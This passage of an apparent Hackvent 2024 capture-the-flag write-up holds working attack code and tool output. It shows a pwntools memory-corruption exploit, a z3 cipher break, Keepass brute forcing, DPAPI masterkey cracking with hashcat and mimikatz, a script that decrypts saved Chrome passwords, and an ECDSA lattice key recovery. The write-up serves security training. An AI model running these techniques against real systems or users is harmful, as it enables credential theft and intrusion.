conn.sendline(b"2")
res = conn.recvuntil(b' > ')

main_address = re.search(r'/code/main: (0x[0-9a-fA-F]+)',


res.decode()).group(1)
libc_address = re.search(r'libc\.so\.6: (0x[0-9a-fA-F]+)',
res.decode()).group(1)

print(f"main address: {main_address}")


print(f"libc address: {libc_address}")

main_base = int(main_address, 16) #0x562ee4d6f000


libc_base = int(libc_address, 16)

# Determine file_response’s address


file_response_offset = elf.symbols['file_response']
file_response_address = main_base + file_response_offset
print(f"file_response address: {hex(file_response_address)}")

# Determine chdir’s address


chdir_offset = libc.symbols['chdir']
chdir_address = libc_base + chdir_offset
print(f"chdir address: {hex(chdir_address)}")

# Determine chroot’s address


chroot_offset = libc.symbols['chroot']
chroot_address = libc_base + chroot_offset
print(f"chroot address: {hex(chroot_address)}")

# Fill routes with max


for i in range(10):
add_route(f"/test", "upload/")

# Fill files with max


for i in range(12):
upload_file()

# Overwrite routes
upload_file("code/flag.txt", file_response_address)
upload_file("upload", chroot_address)
upload_file("..", chdir_address)
upload_file(".", chroot_address)

#list_routes()

get_route("upload")
get_route("..")
get_route("..")
get_route(".")
get_route("code/flag.txt", True)

Flag: HV24{defeated_again_next_ me_i'll_use_docker}


[HV24.14] Santa's Hardware Encryption

Introduction

Santa's elves are currently developing a new chip to provide hardware-based encryption for
their communication. Could you review the first prototype and determine if the chip is secure
enough to protect Santa's secrets?

Solution:

This challenge is special, because the encryptor is realized in Verilog, which is a “hardware
description language”.
`timescale 1ns/1ps
module hv24 (
input clk,
input rst,
input init,
input [63:0] pt,
output [63:0] ct
);

reg [63:0] a;
reg [63:0] b;
wire [63:0] a_;
wire [63:0] b_;

reg [2:0] cnt;


reg [1:0] state;

assign ct =
((((((a<<2)+a)<<7)|(((a<<2)+a)>>57))<<3)+((((a<<2)+a)<<7)|(((a<<2)+a)>>57)))^pt;
assign a_ = (((a<<24)|(a>>40))^(b^a))^((b^a)<<16);
assign b_ = ((b^a)<<37)|((b^a)>>27);

always @ (posedge clk, negedge rst) begin


if (rst) begin
cnt <= 0;
state <= 0;
end else begin
if (state == 0) begin
if (init) begin
case (cnt)
0 : a <= pt;
1 : b <= pt;
default : state <= 1;
endcase
cnt <= cnt + 1;
end
end else if (state == 1) begin
a <= a_;
b <= b_;
end
end
end

endmodule
Thankfully we do not need to really fully understand this language, as ChatGPT can transform it
for us into equivalent Python code.

The idea is to have two key stream which are independently updated and given the fact that we
have the knowledge that it is a PNG that we have and that a PNG has at least for the few first
bytes a static well-known structure, we’re able to calculate the initial random values, which
initialize the cipher. Once we have those, we can undo the encryption operation and retrieve the
original file from the encrypted file.

Chat GPT is our friend here again


from z3 import *
from pyzbar.pyzbar import decode
from PIL import Image

def next_a(a,b,LShR=None):
# assign a_ = (((a<<24)|(a>>40))^(b^a))^((b^a)<<16)
if LShR is None:
LShR = lambda x, n: x >> n
t = (a<<24) | LShR(a,40)
t &= 0xffffffffffffffff
v = (b^a)
u = (b^a)<<16
u &= 0xffffffffffffffff
return t ^ v ^ u

def next_b(a,b,LShR=None):
# assign b_ = ((b^a)<<37)|((b^a)>>27);
if LShR is None:
LShR = lambda x, n: x >> n
u = (b^a)<<37
u &= 0xffffffffffffffff
v = LShR((b^a),27)
return u | v

def calc_ct(a,pt,LShR=None):
# assign ct =
((((((a<<2)+a)<<7)|(((a<<2)+a)>>57))<<3)+((((a<<2)+a)<<7)|(((a<<2)+a)>>57)))^pt;
if LShR is None:
LShR = lambda x, n: x >> n
t = ((a<<2)+a)<<7
t &= 0xffffffffffffffff
u = (a<<2)+a
u &= 0xffffffffffffffff
u = LShR(u,57)
ct = t | u
ct <<= 3
ct &= 0xffffffffffffffff
v = (a<<2)+a
v &= 0xffffffffffffffff
v = v << 7
v &= 0xffffffffffffffff
w = (a<<2)+a
w &= 0xffffffffffffffff
w = LShR(w, 57)
ct += (v | w)
ct &= 0xffffffffffffffff
ct ^= pt
return ct

#def LShR(x,n): return (x >> n)


if __name__ == '__main__':

flag_ct = open('flag.enc', 'rb').read()

ct0 = int.from_bytes(flag_ct[0:8].ljust(8, b'\0'))


ct8 = int.from_bytes(flag_ct[8:16].ljust(8, b'\0'))

# PNG header
pt0 = 0x89504e470d0a1a0a
pt8 = 0xd49484452

# find a, b that satifies


# ct0=f(pt0,a,b) and ct8=f(pt8,a,b)
x = [BitVec('x' + str(_), 64) for _ in range(2)]
a = x[0]
b = x[1]
s1 = Solver()

tmp0 = BitVecVal(0,64)
tmp8 = BitVecVal(0,64)
a, b = next_a(a,b,LShR=LShR), next_b(a,b,LShR=LShR)
tmp0 = calc_ct(a,pt0,LShR=LShR)
a = next_a(a,b,LShR=LShR)
tmp8 = calc_ct(a,pt8,LShR=LShR)

s1.add(
tmp0 == ct0,
tmp8 == ct8
)
if s1.check() == sat:
m = s1.model()
r = [m.eval(x[_]).as_long() for _ in range(2)]
print('a=',r[0])
print('b=',r[1])
else:
print("No more solution for a8 found.")

a = next_a(r[0],r[1])
b = next_b(r[0],r[1])

pt = b''
for i in range(0, len(flag_ct), 8):
ct = int.from_bytes(flag_ct[i:i+8].ljust(8, b'\0'))
tmp0 = calc_ct(a,ct)
a, b = next_a(a,b), next_b(a,b)
pt += tmp0.to_bytes(8)

open('flag_recovered.png', 'wb').write(pt)

png = Image.open('flag_recovered.png')
qr = decode(png)
if qr:
print('flag:', qr[0].data.decode())

Flag: HV24{s1mpl3_X0R_3ncrypt10n_us1ng_x0r0sh1r0_prng_f0r_k3y_g3n3r4t10n}
[HV24.15] Rudolph's Symphony
Introduction

Rudolph has decided to organise a music concert as a special surprise for Santa this
Christmas!

Four of the other reindeer have eagerly signed up to perform, but things aren't going as smoothly
as planned. Unfortunately, the reindeer have been pranking each other and as a result they are
having issues preparing their material.

Can you step in and help each reindeer get ready in time for the big event?

Solution:

First we start with Blitzen, were we are asked to find the pw for his Keepass file.

The proper password is in flag.txt, but well hidden, so we need to test them all:

There are not only obvious flags in it, but also some with base64 “payload” and some with
hexascii payload, so we write a small program which dumps us all variants to stdout.
import base64

pwds = open('flag.txt','rt').read().replace('\x00', '').replace('\n', '')


pwds = pwds.split('HV24')

for pw in pwds:
print ('HV24'+pw)

# also try different conversion


p = pw[1:-1]
if len(p) == 0:
continue
print(p)
# attempt base64 decode
try:
b = base64.b64decode(p).decode()
if len(b) > 0 and b.isprintable():
print(f'HV24{{{b}}}')
print(b)
p = b
except:
pass
# attempt hex->ascii conversion
try:
a = ascii_string = bytes.fromhex(p).decode('ascii')
if len(a) > 0 and a.isprintable():
print(f'HV24{{{a}}}')
print(a)
p = a
except:
pass

# inverse string
r = p[::-1]
print(f'HV24{{{r}}}')
print(r)

Now we can try to bruteforce the list of passwords, but unfortunately john does not yet
understand the new Keepass v4 format. So we cannot use john or hashcat. But there is a project
which performs a brute-force in the verbatim sense :-D

https://github.com/r3nt0n/keepass4brute/blob/master/keepass4brute.sh
daubsi@bigigloo  /tmp/ch15/Blitzen  ./keepass4brute.sh blitzen-passwords.kdbx
wordlist.txt
keepass4brute 1.3 by r3nt0n
https://github.com/r3nt0n/keepass4brute

[+] Words tested: 3128/3910 - Attempts per minute: 1165 - Estimated time remaining:
40 seconds
[+] Current attempt: HV24{#?#?#?#ToG3th3r#}

[*] Password found: HV24{#?#?#?#ToG3th3r#}

Looking into the Keepassfile we find some DPAPI keys in the Recycle bin:

daubsi@bigigloo  /tmp/ch15/Blitzen  keepassxc-cli show --show-attachments


blitzen-passwords.kdbx "prancers keys"
Enter password to unlock blitzen-passwords.kdbx:
Title: prancers keys
UserName:
Password: PROTECTED
URL:
Notes: There can only be one great vocalist this year and its going to be me.
Uuid: {562a1cbf-c979-e540-8deb-dccd6aeb55e2}
Tags:

Attachments:
Prancers-keys.zip (2.8 KiB)

daubsi@bigigloo  /tmp/ch15/Blitzen  keepassxc-cli attachment-export blitzen-


passwords.kdbx "prancers keys" Prancers-keys.zip Prancers-keys.zip
Enter password to unlock blitzen-passwords.kdbx:
Successfully exported attachment Prancers-keys.zip of entry prancers keys to
Prancers-keys.zip.

These keys come in handy when we look into Prancer’s folder with a backup of a
Chrome profile, because Chrome on Windows encyrpts the sensitive data using DPAPI
(Data Protection API) which uses the user’s keys to transparently encrypt the data
(without an additional password).

We follow this writeup to get access to the Local State file in the end:
https://www.hackthebox.com/blog/seized-ca-ctf-2022-forensics-writeup
https://ohyicong.medium.com/how-to-hack-chrome-password-with-python-1bedc167be3d

(.venv) ✘ daubsi@bigigloo 
/tmp/ch15/Blitzen/C/Users/prancer/AppData/Roaming/Microsoft/Protect/S-1-5-21-
3152064623-1017805262-467371474-1001  python3 /tmp/ch15/Blitzen/DPAPImk2john.py --
sid="S-1-5-21-3152064623-1017805262-467371474-1001" --masterkey="c790ec71-1c98-
404a-9dab-4bfe8f6871a5" --context="local" > hash.txt
(.venv) daubsi@bigigloo 
/tmp/ch15/Blitzen/C/Users/prancer/AppData/Roaming/Microsoft/Protect/S-1-5-21-
3152064623-1017805262-467371474-1001  ls -la
total 20
drwxrwxr-x 2 daubsi daubsi 4096 Dec 16 21:23 .
drwxrwxr-x 3 daubsi daubsi 4096 Dec 12 14:34 ..
-rw-rw-r-- 1 daubsi daubsi 468 Dec 12 03:23 c790ec71-1c98-404a-9dab-4bfe8f6871a5
-rw-rw-r-- 1 daubsi daubsi 404 Dec 16 21:24 hash.txt
-rw-rw-r-- 1 daubsi daubsi 24 Dec 12 03:23 Preferred
(.venv) daubsi@bigigloo 
/tmp/ch15/Blitzen/C/Users/prancer/AppData/Roaming/Microsoft/Protect/S-1-5-21-
3152064623-1017805262-467371474-1001  cat hash.txt
$DPAPImk$2*1*S-1-5-21-3152064623-1017805262-467371474-
1001*aes256*sha512*8000*dd9910a8f9dbed99caf0eb98527e4bff*288*024ed8b5eef41f45a96d52
eaeb98c06e75054c5369076328ac49abbc5e956ce6a043adbdd63899646afc1c5820b3d2021d5230846
f26250ea92ee8dc7a4691e6fbc6c5c3abae38c0a0b47ae10d146b5a20171cfdb4a8556edb53c4a4cdee
ab33ada65f67c3f3131e5c4c057297487d60e85e2de5123daf63171c6a2f5aac00afbd19efa9ec9f323
2ed307d7a66f3ed3e

This password hash we can then crack with john/hashcat

$DPAPImk$2*1*S-1-5-21-3152064623-1017805262-467371474-
1001*aes256*sha512*8000*dd9910a8f9dbed99caf0eb98527e4bff*288*024ed8b5eef41f45a96d52
eaeb98c06e75054c5369076328ac49abbc5e956ce6a043adbdd63899646afc1c5820b3d2021d5230846
f26250ea92ee8dc7a4691e6fbc6c5c3abae38c0a0b47ae10d146b5a20171cfdb4a8556edb53c4a4cdee
ab33ada65f67c3f3131e5c4c057297487d60e85e2de5123daf63171c6a2f5aac00afbd19efa9ec9f323
2ed307d7a66f3ed3e:prancer2

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 15900 (DPAPI masterkey file v2 (context 1 and 2))
Hash.Target......: $DPAPImk$2*1*S-1-5-21-3152064623-1017805262-4673714...f3ed3e
Time.Started.....: Tue Dec 15 08:45:01 2024 (13 mins, 30 secs)
Time.Estimated...: Tue Dec 15 08:58:31 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 5669 H/s (10.04ms) @ Accel:32 Loops:8 Thr:128 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 4591616/14344384 (32.01%)
Rejected.........: 0/4591616 (0.00%)
Restore.Point....: 4513792/14344384 (31.47%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:7992-7999
Candidate.Engine.: Device Generator
Candidates.#1....: prrpls69. -> pollo123467
Hardware.Mon.SMC.: Fan0: 25%, Fan1: 25%
Hardware.Mon.#1..: Util: 94%

Started: Tue Dec 15 08:44:16 2024


Stopped: Tue Dec 15 08:58:32 2024

Login: prancer, Password: prancer2 – oh come on! 

Now we can decrypt the DPAPI masterkey:

C:\Users\administrator\Downloads\mimikatz_trunk\x64>mimikatz.exe

.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08


.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # dpapi::masterkey /in:key.bin /password:prancer2 /protected /sid:S-1-5-


21-3152064623-1017805262-467371474-1001

**MASTERKEYS**
dwVersion : 00000002 - 2
szGuid : {c790ec71-1c98-404a-9dab-4bfe8f6871a5}
dwFlags : 00000005 - 5
dwMasterKeyLen : 000000b0 - 176
dwBackupKeyLen : 00000090 - 144
dwCredHistLen : 00000014 - 20
dwDomainKeyLen : 00000000 - 0
[masterkey]
**MASTERKEY**
dwVersion : 00000002 - 2
salt : dd9910a8f9dbed99caf0eb98527e4bff
rounds : 00001f40 - 8000
algHash : 0000800e - 32782 (CALG_SHA_512)
algCrypt : 00006610 - 26128 (CALG_AES_256)
pbKey :
024ed8b5eef41f45a96d52eaeb98c06e75054c5369076328ac49abbc5e956ce6a043adbdd63899646af
c1c5820b3d2021d5230846f26250ea92ee8dc7a4691e6fbc6c5c3abae38c0a0b47ae10d146b5a20171c
fdb4a8556edb53c4a4cdeeab33ada65f67c3f3131e5c4c057297487d60e85e2de5123daf63171c6a2f5
aac00afbd19efa9ec9f3232ed307d7a66f3ed3e

[backupkey]
**MASTERKEY**
dwVersion : 00000002 - 2
salt : 29f8e374eedee9b6f5d2a7ae8c0b77bc
rounds : 00001f40 - 8000
algHash : 0000800e - 32782 (CALG_SHA_512)
algCrypt : 00006610 - 26128 (CALG_AES_256)
pbKey :
f0aa63b9dc61a1da66de3137d9830bd1996a0bfa9942deb3f16d66d07949cd6070dfdebe3aa7a3e0839
3e2ec438f28fce6e28380f7f37b656ba5fcd174215bb2ee07850b263b520a0f15637b0fe1ce2863068a
68236030ae1d98c0793ade307aa20d136429e48ee0b1bded7fb26bb545

[credhist]
**CREDHIST INFO**
dwVersion : 00000003 - 3
guid : {a163913c-885c-42aa-b243-4581bc47fd80}

[masterkey] with password: prancer2 (protected user)


key :
a0b912995883940fac279a75f575c3ead6b037de200e99b52ae2749218568c80a54c602d52a65a991ca
93ee830f3d2856c27c7c18ee9f12c657f3e94b6755afd
sha1: 0b1601b9711202469e94a2188eb40005d26849db

So the masterkey is
a0b912995883940fac279a75f575c3ead6b037de200e99b52ae2749218568c80a54c602d52a65a991ca
93ee830f3d2856c27c7c18ee9f12c657f3e94b6755afd

No, lets then decrypt the encrypted key from Chrome (getting dizzy already?)

First we need to decrypt the encryption key from chrome’s Local State file:

(.venv) daubsi@bigigloo:/tmp/ch15/Prancer/Chrome$ cat getchromekey.py


import base64
import json

fh = open('Local State', 'rb')


encrypted_key = json.load(fh)

encrypted_key = encrypted_key['os_crypt']['encrypted_key']

decrypted_key = base64.b64decode(encrypted_key)
print(decrypted_key)
open("dec.data","wb").write(decrypted_key[5:])
(.venv) daubsi@bigigloo:/tmp/ch15/Prancer/Chrome$ python3 getchromekey.py
b'DPAPI\x01\x00\x00\x00\xd0\x8c\x9d\xdf\x01\x15\xd1\x11\x8cz\x00\xc0O\xc2\x97\xeb\x
01\x00\x00\x00q\xec\x90\xc7\x98\x1cJ@\x9d\xabK\xfe\x8fhq\xa5\x10\x00\x00\x00\x1c\x0
0\x00\x00G\x00o\x00o\x00g\x00l\x00e\x00
\x00C\x00h\x00r\x00o\x00m\x00e\x00\x00\x00\x10f\x00\x00\x00\x01\x00\x00
\x00\x00\x00\xf3q\x1e\xba\xc5s>;\'\x05[\xf7\x90\xe0\x83\xfdb\xaf\xfa\xf3\xee\xa5\x9
7\xd5\x08H\x12\xdc\t\xc7U^\x00\x00\x00\x00\x0e\x80\x00\x00\x00\x02\x00\x00
\x00\x00\x00p\xe8\x8bH\x92\xef\x1dr\x9f\tj\xed{\xb5\xa8OR\xc3K\xa3"l\xc9\xcf0\x9aap
\xaar(\x870\x00\x00\x00\\5\xe2\xc1\xed\t\x10Z\xe2z\'\xe4QH\x7f\xe8\xa1\x86\xbc\x82c
z^\xb7X\xfe\x9c\x13\x84\xb7\xe1Fo\'c\xb7u\xdc\xf5vJ\xe6^.\xac\xf3\xc9\xed@\x00\x00\
x00\'d\n\xbf\xc4c4\xc37\xe8(\xa3!\xff\xd0\xb8St\xe2\x1b\x98S~c2(\xceO\x8c\x01\xce\x
8d\xbeV\xa7\xb0\xc4/\xad\xfc\xa0\x14*\xd1\xb9\xe9e\x90\xb1\xac\x91\x19\xa7O\xba\x80
8\t\xa7oi=\x88!'

Here we also have the confirmation that we’re talking about a DPAPI protected key
(see first 5 bytes)

Now let’s use mimikatz once more:


dpapi::blob /masterkey:
a0b912995883940fac279a75f575c3ead6b037de200e99b52ae2749218568c80a54c602d52a65a991ca
93ee830f3d2856c27c7c18ee9f12c657f3e94b6755afd /in:"dec_data" /out:aes.dec

And finally we have the 32 Byte AES key in file aes.dec which is actually used to encrypt the
browser data in the Chrome password database:

Chrome Data Encryption Key:


63 30 84 EB 0D D8 E8 D8 9D 1D 01 54 28 BC B8 73 F3 F4 4D 1C 98 25 02 14 7F 31 8A 60
A4 9D D6 C1

Now let’s get the encrypted passwords from Chromes “Login data” sqlite3 db:

import re
import sys
import json
import base64
import sqlite3
from Crypto.Cipher import AES
import shutil
import csv

def get_secret_key():
secret_key = open('aes.dec', 'rb').read()
return secret_key

def decrypt_payload(cipher, payload):


return cipher.decrypt(payload)

def generate_cipher(aes_key, iv):


return AES.new(aes_key, AES.MODE_GCM, iv)

def decrypt_password(ciphertext, secret_key):


try:
initialisation_vector = ciphertext[3:15]
encrypted_password = ciphertext[15:-16]
cipher = generate_cipher(secret_key, initialisation_vector)
decrypted_pass = decrypt_payload(cipher, encrypted_password)
decrypted_pass = decrypted_pass.decode()
return decrypted_pass
except Exception as e:
print("%s"%str(e))
print("[ERR] Unable to decrypt, Chrome version &lt;80 not supported. Please
check.")
return ""

def get_db_connection(chrome_path_login_db):
try:
return sqlite3.connect(chrome_path_login_db)
except Exception as e:
print("%s"%str(e))
print("[ERR] Chrome database cannot be found")
return None

if __name__ == '__main__':
secret_key = get_secret_key()
chrome_path_login_db = r"Login Data"
conn = get_db_connection(chrome_path_login_db)
if(secret_key and conn):
print("Reading")
cursor = conn.cursor()
cursor.execute("SELECT origin_url, username_value, password_value FROM
logins")
for index,login in enumerate(cursor.fetchall()):
url = login[0]
username = login[1]
ciphertext = login[2]
if(url!="" and username!="" and ciphertext!=""):
decrypted_password = decrypt_password(ciphertext, secret_key)
print("Sequence: %d"%(index))
print("URL: %s\nUser Name: %s\nPassword:
%s\n"%(url,username,decrypted_password))
print("*"*50)
cursor.close()
conn.close()

When we execute it in the proper folder:

Sequence: 0
URL: https://accounts.santamail.christmas/
User Name: prancer@santamail.christmas
Password: HV24{#?#?#BEST#?#}

Opening the “History” file with an sqlite3 db client, we can see a file download in the Downloads
table. It leads to a MIDI file which was accessed on Gdrive. We download the file and open it in
our favorite MIDI sequencer. I used Cubase 14 Elements. Here we find a surprise in one of the
tracks. Another fragment! The “ASCII Art” flag part is realized via MIDI keypress events!
The hidden hard flag is also stored in the Chrome profile dump. Please see later in this
document.

We continue with Comet’s directory.

Here there is only one image of a reindeer playing piano and a jar of jam on the piano.

We use binwalk and foremost on the file to extract the embedded files.

One day I need to investigate why binwalk fails to properly extract the identified files most of the
time…

daubsi@bigigloo  /tmp/ch15/Comet  binwalk -Me update.jpg

Scan Time: 2024-12-18 13:44:44


Target File: /tmp/ch15/Comet/update.jpg
MD5 Checksum: f3f10b9012c1575f4d775d51d03e7908
Signatures: 411

DECIMAL HEXADECIMAL DESCRIPTION


--------------------------------------------------------------------------------
0 0x0 JPEG image data, EXIF standard
12 0xC TIFF image data, big-endian, offset of first image
directory: 8
294258 0x47D72 PNG image, 512 x 512, 8-bit/color RGBA, non-
interlaced
369125 0x5A1E5 PNG image, 512 x 512, 8-bit/color RGBA, non-
interlaced
369166 0x5A20E Zlib compressed data, best compression
464936 0x71828 XML document, version: "1.0"
516459 0x7E16B JPEG image data, JFIF standard 1.01
669625 0xA37B9 PNG image, 640 x 640, 8-bit/color RGBA, non-
interlaced

Scan Time: 2024-12-18 13:44:45


Target File: /tmp/ch15/Comet/_update.jpg.extracted/5A20E
MD5 Checksum: 56fe160dfb05fa551a37864e3f77168a
Signatures: 411

DECIMAL HEXADECIMAL DESCRIPTION


--------------------------------------------------------------------------------

daubsi@bigigloo  /tmp/ch15/Comet  foremost update.jpg


Processing: update.jpg
|*|
daubsi@bigigloo  /tmp/ch15/Comet  find .
.
./_update.jpg.extracted
./_update.jpg.extracted/5A20E
./_update.jpg.extracted/5A20E.zlib
./update.jpg
./output
./output/png
./output/png/00000720.png
./output/png/00001307.png
./output/png/00000574.png
./output/jpg
./output/jpg/00000000.jpg
./output/jpg/00001008.jpg
./output/audit.txt

Now this looks like something…

When we do an exiftool on the 00001307.png we get:


<?xml version="1.0" encoding="UTF-8"?>
<GeolocationData>
<Location>2dUURCy1VnuDyonM1oyKq5VoMjApQabrAXxr</Location>
<TimeStamp>2024-12-12T14:35:00Z</TimeStamp>
<Address>
<StreetNumber>REDACTED</StreetNumber>
<StreetName>REDACTED</StreetName>
<RegExpPattern>^\d{1,5}\s[A-Z][a-z]+\s(?:St|Rd|Cl)$</RegExpPattern>
</Address>
<Details>
<Accuracy>5 meters</Accuracy>
<Elevation>25 meters</Elevation>
<Provider>GPS</Provider>
</Details>
</GeolocationData>

What looks like a base64 string actually is base58 (mean!!) and decodes to:

51°30'45.09"N, 0°13'8.52"W

Looking at these coordinates we have:


Grr… another rickroll?

But wait…

If we look at the regex below the coordinates, we see that 154 Freston Rd actually matches
perfectly! According to our 3 thumbails it could be the password for a zip file!

The last part is in the PDF file in Dancer’s folder.

We can use the found password “154 Freston Rd” we found when analyzing the files in Comet’s
folder in order to view it.

It contains another note and a musical sheet of “Jingle Bells”:


While the treble part certainly looks OK, the bass line has a weird rhythm.

We expect the flag to be found in here to start with “HV24{“ as usual. Looking at the bass line we
have 2 notes, a pause, again 2 notes, pause, 2, pause, 2, pause, 3, pause…

Let’s assign numbers to the tone pitch, and begin with the lowest there is (the e):

e=0, f=1, g=2, a=3, b=4, c=5, …

Doing this we get the following values

7,2, pause, 8,6, pause, 5, 0, pause, 5, 2, pause, 1,2,3

And without much reasoning we spot these are the decimal ASCII values of H,V,2,4,{

When we continue parsing the rest of the sheet we get the last part of the flag:

HV24{#ReiNd33r#?#?#?

Flag:

HV24{#ReiNd33r#jAM#BEST#ToG3th3r#}
[HV24.16] Santa's Signatures

Introduction

Because of new bureaucratic regulations, Santa has to sign every package that he sends out. So
far, he has always used his drawing pad to sign manually but lately, he has been getting hand
cramps and the doctor recommended him to try out digital signatures. Thus, he has tasked one
of his elves to implement such a system and has published 4 digital signatures of his favourite
lyrics to the world. Unfortunately, you didn't have the time to ask him for more samples...

Analyze the code and get the flag.

Solution:

We are given the following code:

from ecdsa import SigningKey, NIST192p


from hashlib import sha256
import os

from hackvent import flag

private_key = SigningKey.generate(curve=NIST192p)
public_key = private_key.get_verifying_key()

curve = NIST192p
n = curve.order

message = b"""
We're no strangers to love
You know the rules and so do I (do I)
A full commitment's what I'm thinking of
You wouldn't get this from any other guy

I just wanna tell you how I'm feeling


Gotta make you understand

Never gonna give you up


Never gonna run around
Never gonna make you cry
Never gonna tell a lie and hurt you

We've known each other for so long


Your heart's been aching, but you're too shy to say it (say it)
Inside, we both know what's been going on
We know the game, and we're gonna play it

Never gonna say goodbye


Never gonna tell a lie and hurt you
"""
r_list = []
s_list = []

h = int.from_bytes(sha256(message).digest(), "big") % n

for _ in range(4):
k = int.from_bytes(flag + os.urandom(4), "big")
assert k < n
r = (k * curve.generator).x() % n
s = (pow(k, -1, n) * (h + r * private_key.privkey.secret_multiplier)) % n
r_list.append(int(r))
s_list.append(int(s))

print("r =", r_list)


print("s =", s_list)

Solution:
The problem in this challenge is, that we’re using an almost constant nonce consisting of our
flag string and just 4 random bytes.
This problem is described here:
https://blog.trailofbits.com/2020/06/11/ecdsa-handle-with-care/

Using only few known bits from the nonce the private key can be derived.
And once we know the private key we can then get the true value of the nonce from the
signature.

We can use the code at


https://github.com/daedalus/BreakingECDSAwithLLL/blob/master/crack_weak_ECDSA_nonces
_with_LLL.py to build our attack.

--

solve_ch16.py
#!/usr/bin/env python
# Author Dario Clavijo 2020
# based on previous work:
# https://blog.trailofbits.com/2020/06/11/ecdsa-handle-with-care/
# https://www.youtube.com/watch?v=6ssTlSSIJQE

import sys

# import ecdsa
import random
from sage.all_cmdline import *
import gmpy2
import binascii

# NIST order
order = 6277101735386680763835789423176059013767194773182842284081
message = 5451444470609933768673875739190099258978652043860043513059
def modular_inv(a, b):
return int(gmpy2.invert(a, b))

r = [382825619053484650723101111089716481637169498894438388011,
2846338329314931410625679965921020604974471932472870479272,
4539748290341241446856454569550628724992441965649378727404,
941682904620798018129415714406121176743478727872983123639]
s = [1053747182506109288607080233885972025033725041930583121945,
271361922488295908863717359631373504169617539839833749415,
1147747170412930491481269098330085803226817442551773675299,
3831443458083168767818771718543562148023158622090413416724]

def make_matrix(msgs, sigs, B):


m = len(msgs)
sys.stderr.write("Using: %d sigs...\n" % m)
matrix = Matrix(QQ, m + 2, m + 2)

msgn, rn, sn = [msgs[-1], sigs[-1][0], sigs[-1][1]]


rnsn_inv = rn * modular_inv(sn, order)
mnsn_inv = msgn * modular_inv(sn, order)

for i in range(0, m):


matrix[i, i] = order

for i in range(0, m):


x0 = (sigs[i][0] * modular_inv(sigs[i][1], order)) - rnsn_inv
x1 = (msgs[i] * modular_inv(sigs[i][1], order)) - mnsn_inv
matrix[m + 0, i] = x0
matrix[m + 1, i] = x1

matrix[m + 0, i + 1] = int(2**B) / order


matrix[m + 0, i + 2] = 0
matrix[m + 1, i + 1] = 0
matrix[m + 1, i + 2] = 2**B

return matrix

def privkeys_from_reduced_matrix(msgs, sigs, matrix):


keys = []
msgn, rn, sn = [msgs[-1], sigs[-1][0], sigs[-1][1]]
for row in matrix:
potential_nonce_diff = row[0]
potential_priv_key = (
(sn * msgs[0])
- (sigs[0][1] * msgn)
- (sigs[0][1] * sn * potential_nonce_diff)
)
try:
potential_priv_key *= modular_inv(
(rn * sigs[0][1]) - (sigs[0][0] * sn), order
)
key = potential_priv_key % order
if key not in keys:
keys.append(key)
except Exception as e:
sys.stderr.write(str(e) + "\n")
return keys

def display_keys(keys):
for key in keys:
print(f"Key: {key:x}")
for idx,R in enumerate(r):
k = (message + int(key) * R) * modular_inv(s[idx],order) % order
try:
print(f"Candidate k: {hex(k)} -> {binascii.unhexlify(hex(k)[2:-
8])}")
except:
pass
sys.stdout.flush()
sys.stderr.flush()

def main():
B = 32
run_mode = "LLL"

msgs = []
sigs = []
for i in range(4):
msgs.append(message)
sigs.append((r[i],s[i]))

matrix = make_matrix(msgs, sigs, B)

new_matrix = matrix.LLL(early_red=True, use_siegel=True)


keys = privkeys_from_reduced_matrix(msgs, sigs, new_matrix)
display_keys(keys)

if __name__ == "__main__":
main()
(sage-sh) z000csgk@MACMC24KYCY64:~/Downloads/ch16$ python3 github.py
python3: can't open file '/Users/z000csgk/Downloads/ch16/github.py': [Errno 2] No
such file or directory
(sage-sh) z000csgk@MACMC24KYCY64:~/Downloads/ch16$ python3 solve_ch16.py
Using: 4 sigs...
Key: 6095b961009278439c39fe1e3adc7b5cf3da6937b097fd19
Candidate k: 0x466c8e3aef062e44939eadd724aa47fd9524512bad0ffe4a ->
b'Fl\x8e:\xef\x06.D\x93\x9e\xad\xd7$\xaaG\xfd\x95$Q+'
Candidate k: 0xdcc361a53f5710f0859ef111bb8f889ab68ad3f04e2896a4 ->
b'\xdc\xc3a\xa5?W\x10\xf0\x85\x9e\xf1\x11\xbb\x8f\x88\x9a\xb6\x8a\xd3\xf0'
Candidate k: 0x7492c56e6969180673c1fe53feeaaa696029647365987792 ->
b't\x92\xc5nii\x18\x06s\xc1\xfeS\xfe\xea\xaai`)ds'
Candidate k: 0x466c8e3aef062e44939eadd724aa47fd9524512bad0ffe4a ->
b'Fl\x8e:\xef\x06.D\x93\x9e\xad\xd7$\xaaG\xfd\x95$Q+'
Key: 69a9403da5a79d502f3312b7230cd0649049f7b503c5c806
Candidate k: 0x485632347b6a7573745f7573335f45644453417d2a9fb72f ->
b'HV24{just_us3_EdDSA}'
Candidate k: 0x485632347b6a7573745f7573335f45644453417dd70a29e7 ->
b'HV24{just_us3_EdDSA}'
Candidate k: 0x485632347b6a7573745f7573335f45644453417d34875e0b ->
b'HV24{just_us3_EdDSA}'
Candidate k: 0x485632347b6a7573745f7573335f45644453417d2064af64 ->
b'HV24{just_us3_EdDSA}'
Key: 2c42efa79a5f237e71ffcef55b55f2e2a501decb1e4284dc
Candidate k: 0x3f9bdc7dafab3d477b8349bd0b590d3b64f502affd924548 ->
b'?\x9b\xdc}\xaf\xab=G{\x83I\xbd\x0bY\r;d\xf5\x02\xaf'
Candidate k: 0xe811a1f9817fc6334b1e3d0db3e4879e487e0df153bb6ada ->
b'\xe8\x11\xa1\xf9\x81\x7f\xc63K\x1e=\r\xb3\xe4\x87\x9eH~\r\xf1'
Key: baf1d40deb6c09acd3c93b1e182a142bcd2dc41e29e66d3c
Candidate k: 0xce0269ea828eff240cb9cadc4f57a4efd1fc5f09d91df7a2 ->
b'\xce\x02i\xea\x82\x8e\xff$\x0c\xb9\xca\xdcOW\xa4\xef\xd1\xfc_\t'
